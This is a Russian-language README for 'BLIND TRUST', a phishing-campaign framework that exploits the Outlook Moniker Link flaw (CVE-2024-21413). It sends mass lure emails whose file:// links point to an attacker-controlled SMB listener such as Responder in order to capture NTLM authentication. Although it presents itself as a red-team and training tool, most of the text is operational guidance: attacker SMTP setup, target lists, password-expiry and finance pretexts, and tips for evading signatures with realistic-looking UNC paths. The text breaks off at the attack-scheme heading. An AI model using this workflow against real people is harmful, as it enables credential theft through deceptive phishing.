BLIND TRUST - Moniker Link Фишинг-Фреймворк для проведения кампаний

Инструмент для исследований в области безопасности, предназначенный для симуляции целевых фишинговых атак с использованием уязвимости CVE-2024-21413 Moniker Link. Разработан для авторизованных red team-операций, тестирования на проникновение и обучения сотрудников основам безопасности.

Обзор

BLIND TRUST — это фреймворк для проведения фишинговых кампаний, который помогает командам безопасности понимать и проверять свои защиты от сложных атак на электронную почту. Он использует технику Moniker Link для обхода Protected View в Outlook, обеспечивая реалистичную симуляцию атаки, которую организации могут использовать для укрепления своей безопасности.

Инструмент автоматизирует полный цикл кампании — от настройки до доставки писем — сохраняя операционную безопасность за счет настраиваемых UNC-путей и гибких вариантов легенды (pretext).

Назначение

Организациям необходимо понимать реальные техники атак, чтобы эффективно защищаться. TRUST позволяет:

• Red team-операции — Проведение авторизованных фишинговых кампаний в рамках оценки безопасности
• Обучение сотрудников — Демонстрация реальных векторов атак сотрудникам
• Проверка уязвимостей — Тестирование возможностей обнаружения известных техник
• Исследование защиты — Понимание поведения Moniker Link в вашем окружении

Возможности

• Многоцелевые кампании — Отправка фишинговых писем нескольким целям с помощью одной конфигурации
• Гибкая загрузка целей — Загрузка целей через интерактивный ввод или wordlist-файлы .txt
• Настраиваемая легенда — Контроль темы письма, отображаемого имени отправителя и текста письма
• Дискретные UNC-пути — Настройка пути Moniker Link для реалистичности (домен, имя общей папки, имя эксплойта)
• SMTP-аутентификация — Поддержка различных SMTP-серверов с согласованием TLS
• Автоматическая логика повторов — Экспоненциальная задержка при временных сбоях SMTP
• Отчетность по кампании — Статус доставки по каждой цели с агрегированными результатами
• Без жестко заданных сигнатур — Исключение очевидных индикаторов, раскрывающих технику

Установка

Требования

• Python 3.7+
• Только стандартная библиотека (без внешних зависимостей)

Настройка

# Клонирование репозитория
git clone https://github.com/h1ssbl1tz/Blind-Trust.git
cd TRUST

# Запуск инструмента
python3 TRUST_v7.py

Требования

Инструмент использует только модули стандартной библиотеки Python:

getpass      - Безопасный ввод пароля
html         - Экранирование HTML
ipaddress    - Проверка IP-адресов
logging      - Структурированное журналирование
os           - Файловые операции
re           - Регулярные выражения
signal       - Обработка сигналов
smtplib      - SMTP-протокол электронной почты
sys          - Системные утилиты
time         - Операции со временем
dataclasses  - Моделирование конфигурации
email        - Построение MIME-писем
typing       - Подсказки типов

Внешние пакеты не требуются — работает везде, где есть Python 3.7+.

Быстрый старт

python3 TRUST_v7.py

Следуйте интерактивному мастеру, состоящему из 5 шагов:

1. Учетные данные атакующего — SMTP-аккаунт для отправки писем
2. Настройка SMB-слушателя — IP-адрес, к которому будут подключаться цели
3. Конфигурация целей — Загрузка жертв из ввода или wordlist-файла
4. Настройка письма — Тема, имя отправителя и текст письма
5. Настройка полезной нагрузки — Хост, общая папка и имена эксплойтов в UNC-пути

Примеры использования

Пример 1: Интерактивный ввод (небольшая кампания)

Load targets from [f]ile or [i]nput directly?: i
Target email address(es): [email protected], [email protected]

Email subject [Security Update Required]: Urgent: Password Expiration Notice
Display name (From field) [Microsoft Security Center]: IT Security Team
Email body text: Your password expires in 24 hours. Please update immediately.

UNC host (IP or domain) [192.168.1.100]: it-internal.company.com
UNC share name [updates]: patches
UNC exploit name [patch]: kb_security_2024

Пример 2: Загрузка из wordlist (крупная кампания)

Создайте targets.txt:

# Finance Department
[email protected]
[email protected]
[email protected]

# Accounting
[email protected]
[email protected]

Затем запустите:

Load targets from [f]ile or [i]nput directly?: f
Path to targets file: targets.txt
[+] Loaded 5 target(s) from targets.txt

Пример 3: Реалистичная финансовая легенда

Email subject: Q3 Financial Review - Action Required
Display name: Finance Operations Team
Email body: Please review the attached Q3 financial statement and provide approval.

UNC host: finance-internal.company.com
UNC share: quarterly
UNC exploit: q3_financial_report

Generated UNC path: file://finance-internal.company.com/quarterly!q3_financial_report

Пояснение к конфигурации

ШАГ 1: Учетные данные атакующего

• Email атакующего: адрес электронной почты, используемый для отправки фишинговых писем (обычно скомпрометированный или поддельный аккаунт)
• SMTP-пароль: учетные данные для аутентификации на почтовом сервере

ШАГ 2: SMB-слушатель

• IP-адрес SMB-слушателя: IP-адрес, на котором запущен ваш SMB-слушатель (например, Responder, impacket-smbserver). Цели будут пытаться подключиться сюда, когда нажмут на Moniker Link.

ШАГ 3: Конфигурация целей

Два варианта:

• Интерактивный ввод: вставьте email-адреса напрямую (через запятую или перевод строки)
• Wordlist-файл: загрузка из .txt-файла с одним email на строку; комментарии начинаются с #

ШАГ 4: Настройка письма

• Тема: тема письма (избегайте упоминаний CVE; сохраняйте деловой стиль)
• Отображаемое имя отправителя: дружелюбное имя, отображаемое в заголовке письма
• Текст письма: легенда, объясняющая, почему цели должны перейти по ссылке

ШАГ 5: Настройка полезной нагрузки

Здесь вы избегаете очевидных сигнатур:

• UNC host: используйте реалистичное доменное имя или поддомен (например, finance-internal.company.com) вместо простого IP-адреса
• UNC share: реалистичное имя общей папки, например quarterly, updates, documents
• UNC exploit: реалистичное имя файла, например q3_report, security_patch, training_document

Результат: вместо очевидного \\192.168.1.100\share!exploit вы получаете что-то вроде file://finance-internal.company.com/quarterly!q3_report.

Схема выполнения

Start
  ↓
[STEP 1] Prompt for attacker email and SMTP password
  ↓
[STEP 2] Prompt for SMB listener IP
  ↓
[STEP 3] Load target emails (file or input)
  ↓
     ↓→ For each target:
     │  - Validate email format
     │  - Check for duplicates
     │
[STEP 4] Prompt for email pretext
     │  - Subject, From name, body text
     │
[STEP 5] Prompt for UNC path customization
     │  - Host, share, exploit name
     │
  ↓
[BUILD] Construct configuration object
  ↓
[VALIDATE] Check all fields are present and valid
  ↓
[SUMMARY] Display pre-send summary for review
  ↓
[CONFIRM] User approves or cancels
  ↓
[SEND] For each target:
     │  - Build MIME email with custom Moniker Link
     │  - Attempt SMTP delivery with retry logic
     │  - Log per-target success/failure
     │
  ↓
[REPORT] Display campaign results (delivered vs failed)
  ↓
Exit

Как это работает

Уязвимость

CVE-2024-21413 (Moniker Link) — это уязвимость в Outlook, которая позволяет встраивать URL-адреса file:// с символом !. Когда пользователь нажимает на такую ссылку, Outlook пытается получить доступ к UNC-пути, что запускает попытку NTLM-аутентификации даже в режиме Protected View.

Схема атаки